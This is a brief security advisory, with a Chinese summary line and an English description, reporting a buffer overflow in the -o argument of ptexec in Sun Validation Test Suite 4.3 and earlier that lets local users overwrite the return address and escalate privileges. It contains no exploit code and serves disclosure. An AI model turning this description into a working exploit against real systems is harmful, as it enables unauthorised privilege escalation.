SunValidationTestSuite4.3以及之前版本ptexec存在缓冲区溢出漏洞。本地用户借助超长-o参数提升特权。

SunVTS is the Sun Validation Test Suite, distributed and maintained by Sun Microsystems. The SunVTS is used to test various components of OEM Sun hardware, and can also be used to stress-test components and sub-components.

A buffer overflow in the -o of the ptexec command exists. It is possible for a local user to overwrite stack memory, including the return address.

This makes it possible for a local user to gain elevated privileges, and potentially full administrative access.
